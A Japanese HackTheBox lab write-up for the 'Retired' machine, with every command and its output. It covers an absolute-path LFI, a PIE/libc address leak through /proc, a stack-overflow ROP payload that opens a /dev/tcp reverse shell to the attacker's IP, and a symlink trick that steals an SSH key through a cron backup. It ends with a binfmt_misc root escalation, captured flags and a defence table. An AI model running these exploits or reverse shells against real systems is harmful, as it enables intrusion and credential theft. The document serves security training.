HackTheBox: Retired — 全実行コマンド・実行結果レポート
Nmap スキャン
SSH(22)+nginx(80)
→
SSH(22)+nginx(80)
絶対パスLFI
readfile常時実行の設計不備
→
readfile常時実行の設計不備
/proc PID総当たり
ASLR/PIEベースアドレスリーク
→
ASLR/PIEベースアドレスリーク
スタックBOF + ROP
pop rdi;ret → system()
→
pop rdi;ret → system()
www-data シェル
→
cron symlinkピボット
zipバックアップがsymlink参照解決
→
zipバックアップがsymlink参照解決
dev SSH
user.txt ✓
→
user.txt ✓
binfmt_misc + reg_helper
CAP_DAC_OVERRIDE悪用
→
CAP_DAC_OVERRIDE悪用
root shell
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -p- --min-rate 500 -T4 10.129.227.96 nmap -sV -sC -p 22,80 10.129.227.96
RESULT
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
80/tcp open http nginx
| http-title: Agency - Start Bootstrap Theme
|_Requested resource was /index.php?page=default.html
ℹ️
トップページが
index.php?page=default.htmlにリダイレクトされる点から、
pageパラメータがファイル選択に使われる典型的なLFI/Local File Inclusion
候補と分かる。EMUEMUという架空エミュレータとOSTRICHという
架空ゲーム機のライセンス管理サイトである。
PHASE 2
ディレクトリトラバーサル(LFI)とプロセス特定
index.php のソースを読み、設計不備を発見
BASH
curl -s '10.129.227.96?page=index.php'
RESULT
<?php
function sanitize_input($param) {
$param1 = str_replace("../", "", $param);
$param2 = str_replace("./", "", $param1);
return $param2;
}
$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
$page = sanitize_input($page);
} else {
header('Location: /index.php?page=default.html');
}
readfile($page);
🚨
致命的な設計ミス。
$pageの先頭が英小文字でない場合
(絶対パス"/..."等)、if分岐はelseに入り
リダイレクトヘッダーをセットするだけで、その後のreadfile($page)は
分岐に関わらず必ず実行される(PHPのheader()は即座にスクリプトを
停止させない)。つまりsanitize_input()による../除去を
一切経由せず、絶対パスでそのまま任意ファイルを読める。
BASH (動作確認)
curl -s '10.129.227.96?page=/etc/passwd'
RESULT
root:x:0:0:root:/root:/bin/bash ... dev:x:1001:1001::/home/dev:/bin/bash
⚠️
重要な罠: このLFIはHTTP 302レスポンスの本文に
readfile()の出力が乗る形式のため、curlのように
既定でリダイレクトを追従しないツールでないと結果を読めない。
Pythonのrequestsライブラリは既定でリダイレクトを自動追従するため、
スクリプトで自動化する場合は必ずallow_redirects=Falseを指定しないと、
LFI自体は正常動作しているのに結果が常に空になるという原因不明のバグになる。
activate_license.php のソース解析
BASH
curl -s '10.129.227.96?page=activate_license.php'
RESULT
<?php
if (isset($_FILES['licensefile'])) {
$license = file_get_contents($_FILES['licensefile']['tmp_name']);
$license_size = $_FILES['licensefile']['size'];
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($socket, '127.0.0.1', 1337);
socket_write($socket, pack("N", $license_size));
socket_write($socket, $license);
socket_shutdown($socket);
socket_close($socket);
}
ℹ️
アップロードされたファイルのバイト列を、そのままローカルの
127.0.0.1:1337 で待ち受けるソケットサーバへ転送しているだけ。
このサーバのバイナリを特定し脆弱性を探す必要がある。
/proc 総当たりでプロセスを特定しバイナリを回収
BASH
for i in $(seq 1 2000); do echo -n "$i: " curl -s "10.129.227.96?page=/proc/$i/cmdline" echo done | grep -a activate_license
RESULT
403: /usr/bin/activate_license1337
BASH (バイナリとライブラリを回収)
curl -s '10.129.227.96?page=/usr/bin/activate_license' -o activate_license curl -s '10.129.227.96?page=/usr/lib/x86_64-linux-gnu/libc-2.31.so' -o libc.so.6 file activate_license checksec activate_license
RESULT
activate_license: ELF 64-bit LSB pie executable, x86-64 ... with debug_info, not stripped
[*] './activate_license'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
ℹ️
カナリアが無いためスタックバッファオーバーフローの標的になる。
NX有効なのでシェルコード直接実行は不可、ROP(Return-Oriented Programming)が必要。
PIE有効なのでベースアドレスをリークしないと正確なガジェットアドレスを計算できない。
PHASE 3
ASLR/PIEリーク + スタックBOF/ROPによるRCE
/proc/<PID>/maps でベースアドレスをリーク
BASH
curl -s '10.129.227.96?page=/proc/403/maps'
RESULT (抜粋)
562f2da11000-562f2da12000 r--p 00000000 08:01 2408 /usr/bin/activate_license 7f7bd2764000-7f7bd2789000 r--p 00000000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7ffc60f5b000-7ffc60f7c000 rw-p 00000000 00:00 0 [stack]
✅
ELFベース(
0x562f2da11000)、libcベース(0x7f7bd2764000)、
スタックベース(0x7ffc60f5b000)の3つが直接取得できる。
fork()するサーバは子プロセスもASLR配置を親から継承するため、
接続の都度リークし直さずともこのアドレスは有効に使える。
ROPガジェットとsystem()オフセットを特定
BASH
ROPgadget --binary activate_license | grep ': pop rdi ; ret$' readelf -s libc.so.6 | grep ' system@'
RESULT
0x000000000000181b : pop rdi ; ret 1430: 0000000000048e50 45 FUNC WEAK DEFAULT 14 system@@GLIBC_2.2.5
ペイロード構築とスタックオフセットのブルートフォース
NOTE
脆弱な関数はソケットから読んだサイズ分だけ512バイトのbufferへread()するため、 オフセット520バイト(512+8、カナリア無し)でリターンアドレスを制御できる。 system()の引数(コマンド文字列)はスタック上に置くが正確な位置が読めないため、 200バイトのスペースパディングで許容範囲を持たせ、 スタックオフセットを0x20500近傍からブルートフォースする。
PYTHON (payload構築)
import struct
def p64(x): return struct.pack("<Q", x)
pop_rdi_ret = elf_base + 0x181b
system_addr = libc_base + 0x48e50
cmd = "bash -c 'bash -i >& /dev/tcp/10.10.15.200/4447 0>&1'"
payload = b'A' * 520
payload += p64(pop_rdi_ret)
payload += p64(stack_base + stack_offset) # コマンド文字列の推定アドレス
payload += p64(system_addr)
payload += b' ' * 200 + cmd.encode() + b'\0'
BASH (アップロードで送信)
curl -s -X POST http://10.129.227.96/activate_license.php \ -F "licensefile=@payload.bin"
RESULT
stack_offset = 0x20500 から128刻みでスパイラル探索 (0x20500, 0x20580, 0x20480, ...)
6回目の試行 (offset=0x20680) でリバースシェル着信
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! www-dataとしてシェルを確立。
PHASE 4
cronバックアップのシンボリックリンクピボット → user.txt
定期バックアップの仕組みを確認
BASH
www-data@retired:~$ ls -la /var/www www-data@retired:~$ cat /usr/bin/webbackup www-data@retired:~$ systemctl list-timers --all www-data@retired:~$ cat /etc/systemd/system/website_backup.service
RESULT
-rw-r--r-- 1 dev www-data 505153 ... 2026-09-23_02-19-01-html.zip
#!/bin/bash
set -euf -o pipefail
cd /var/www/
SRC=/var/www/html
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"
/usr/bin/zip --recurse-paths "$DST" "$SRC"
...
[Unit] OnCalendar=minutely
[Service] User=dev Group=www-data
ExecStart=/usr/bin/webbackup
🚨
横展開の糸口。 バックアップは毎分
User=devで実行され、
zip --recurse-pathsは-yオプション無しの既定動作のため
シンボリックリンクをデフォルトで参照解決し中身を格納する。
/var/www/html/はwww-dataから書き込み可能なので、devの秘密鍵への
シンボリックリンクを置けば、devとして動くバックアップ処理がdev権限で
中身を読み平文でzipに取り込んでくれる。
シンボリックリンクを設置しバックアップを待つ
BASH
www-data@retired:~/html$ ln -sf /home/dev/.ssh/id_rsa dev_id_rsa
⚠️
設置したシンボリックリンクは(原因未特定だが)1分程度で消えることが確認できた
ため、複数世代のバックアップzipすべてを毎サイクル走査し、
鍵の混入を確認でき次第即座に抽出する戦略が確実。
BASH (数分後、複数のzipを確認)
for z in /var/www/*.zip; do echo "== $z ==" unzip -l "$z" | grep -c dev_id_rsa done
RESULT
== /var/www/2026-09-23_02-22-01-html.zip ==
1
BASH (鍵を抽出)
unzip -p "/var/www/2026-09-23_02-22-01-html.zip" var/www/html/dev_id_rsa
RESULT
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn... -----END OPENSSH PRIVATE KEY-----
✅
devの秘密鍵回収成功!
SSHログイン → user.txt
BASH
chmod 600 dev_id_rsa ssh -i dev_id_rsa dev@10.129.227.96 dev@retired:~$ cat user.txt
RESULT
66002d8529db6df7fe41d8488ea9edda
user.txt — dev
66002d8529db6df7fe41d8488ea9edda
PHASE 5
binfmt_misc + reg_helper 悪用による root 昇格
EMUEMU の reg_helper を発見
BASH
dev@retired:~/emuemu$ cat README.md dev@retired:~/emuemu$ cat reg_helper.c dev@retired:~/emuemu$ cat Makefile
RESULT (reg_helper.c 抜粋)
int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
write(fd, cmd, strnlen(cmd, sizeof(cmd)));
RESULT (Makefile 抜粋)
install --mode 0750 --group dev reg_helper /usr/lib/emuemu/
setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper
echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \
| tee /usr/lib/binfmt.d/emuemu.conf \
| /usr/lib/emuemu/reg_helper
🚨
権限昇格の鍵。
reg_helperには
CAP_DAC_OVERRIDEケーパビリティが付与されており、
本来root権限が必要な/proc/sys/fs/binfmt_misc/registerへの書込みを
DAC(ファイル権限)チェックを無視してdevユーザーのまま実行できてしまう。
つまりdevは任意の実行フォーマットをbinfmt_miscに登録し放題。
binfmt_rootkit エクスプロイトを改変
NOTE
toffan/binfmt_misc の binfmt_rootkit は、/bin配下のSUIDバイナリのマジックバイトに
一致する独自フォーマットを登録し、そのSUIDバイナリを実行させることで
カーネルに代わりの(攻撃者が用意した)インタプリタをSUID権限で起動させる。
オリジナルは register への直接書き込みを試みるが、我々は直接書き込み権限が
無いため2箇所を改変する:
1. "not_writeable" チェックを削除 (直接は書けないが reg_helper 経由でなら書ける)
2. `echo "$binfmt_line" > "$mountpoint"/register`
→ `echo "$binfmt_line" | /usr/lib/emuemu/reg_helper` に変更
BASH (改変版スクリプトを転送)
dev@retired:~$ chmod +x binfmt_rootkit dev@retired:~$ ./binfmt_rootkit
RESULT
uid=0(root) euid=0(root) # id uid=0(root) gid=0(root)
✅
root昇格成功! スクリプトは見つけたSUIDバイナリのマジックバイトに
一致するbinfmtエントリを登録し、そのバイナリを
execすると
カーネルが代わりに自作Cプログラムをroot権限で起動する。
そのプログラムはsetuid(0)後/bin/shを起動するため
rootシェルが得られる。
root.txt 取得
BASH
# cat /root/root.txt
RESULT
56bb5c0d83ca4ad6c640688c1d7b56d5
root.txt
56bb5c0d83ca4ad6c640688c1d7b56d5
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — dev
66002d8529db6df7fe41d8488ea9edda
root.txt
56bb5c0d83ca4ad6c640688c1d7b56d5
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| ロジック不備による絶対パスLFI | index.php の page パラメータ | 任意ファイル読み取り (パスワードファイル・バイナリ・/proc情報) | Critical | header()呼び出し後もスクリプトが停止せずreadfile()が常に実行される設計ミスを利用し、サニタイズを経由しない絶対パス読み取りを実現 |
| スタックバッファオーバーフロー (No Canary) | activate_license バイナリの512バイト固定長buffer | ROPチェーンによる任意コマンド実行 | Critical | アップロードファイルサイズを制御しバッファを超過させ、リークしたASLR/PIEアドレスを使い pop rdi;ret → system() の2段ROPを構築 |
| cronバックアップのシンボリックリンク参照解決 | website_backup.service (User=dev) の zip –recurse-paths | devユーザー所有ファイルの内容窃取 | High | www-data権限で書き込み可能なディレクトリにdevの秘密鍵へのシンボリックリンクを設置し、dev権限で動く定期バックアップにより平文でzipへ取り込ませる |
| CAP_DAC_OVERRIDE付きヘルパー経由のbinfmt_misc悪用 | /usr/lib/emuemu/reg_helper + /proc/sys/fs/binfmt_misc/register | root権限奪取 | Critical | DACチェックを回避できるヘルパーを介し、SUIDバイナリのマジックバイトに一致する独自インタプリタを登録、そのSUIDバイナリ実行時にカーネルが代わりにroot権限でインタプリタを起動する仕組みを悪用 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | SSH/nginx構成、ライセンス管理サイト |
| 2 | LFI+プロセス特定 | 絶対パスLFI + /proc総当たり | activate_licenseバイナリ、PID 403 |
| 3 | RCE | ASLRリーク + スタックBOF/ROP | www-dataシェル |
| 4 | 横展開 | cronバックアップのsymlinkピボット | user.txt (dev) |
| 5 | 権限昇格 | binfmt_misc + reg_helper (CAP_DAC_OVERRIDE) | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
PHPのheader()呼び出し後もスクリプトが止まらず、意図しない分岐でreadfile()が実行されてしまう |
header()でリダイレクトする際は必ず直後にexit()/die()を呼び、それ以降のコードが実行されないことを保証する。 |
| スタックバッファにカナリアが設定されておらず、既知サイズのバッファオーバーフローが容易に成立する | コンパイル時にスタックプロテクタ(-fstack-protector-all等)を有効化する。可能ならユーザー制御サイズのread()をバッファ長でチェックする。 |
| Web公開ディレクトリが他ユーザー(dev)からも書き込み可能な権限で共有され、cronジョブが高権限ユーザーでシンボリックリンクをそのまま辿ってしまう | 定期バックアップ処理はzip -y(シンボリックリンクをリンクのまま保存)を使うか、事前にfind -type lで不審なシンボリックリンクを検出・除外してからアーカイブする。Web公開ディレクトリの書き込み権限を最小化する。 |
| CAP_DAC_OVERRIDEのような強力なケーパビリティを付与したヘルパーバイナリが、本来root専用のカーネルインターフェース(binfmt_misc)への書き込みチェックを無条件にバイパスしてしまう | ケーパビリティは必要最小限に絞り、書き込み先パスやフォーマット文字列を厳格に検証(許可リスト化)する。可能であれば専用の設定ファイル経由でのみ登録を許可し、汎用的な任意書き込みを避ける。 |

